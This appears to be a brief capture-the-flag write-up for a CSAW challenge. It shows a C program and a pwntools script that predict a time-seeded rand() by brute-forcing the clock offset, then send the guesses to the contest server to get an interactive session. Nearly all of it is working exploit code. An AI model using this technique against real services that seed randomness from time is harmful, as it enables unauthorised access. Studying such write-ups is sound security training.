Initialize PRNG with time of my machine, bruteforcing offset between my machine and time of the server.
C program to generate numbers:```c#include <stdio.h>#include <stdlib.h>#include <time.h>
int main(int argc, char **argv) {    int offset = atoi(argv[1]);    time_t t = time(NULL);    for(int i=0;i<3;++i) {        srand(t + offset + i);        printf("%d ", rand() % 0x100000 & 0xffffffff);    }    puts("\n");    return 0;}```
Exploit:
```pythonfrom pwn import *import os
for OFFSET in range(-10,10,3):
    values = os.popen("./rand {}".format(OFFSET)).read()    sh = remote("pwn.chal.csaw.io", 5002)
    values = values.strip().split(" ")    print(values)
    for v in values:        sh.recvuntil("check?")        sh.sendline(v)        sh.recvuntil("Hey")        answer = "Hey" + sh.recvline().decode()        print(answer)        if "That's it" in answer:            sh.interactive()```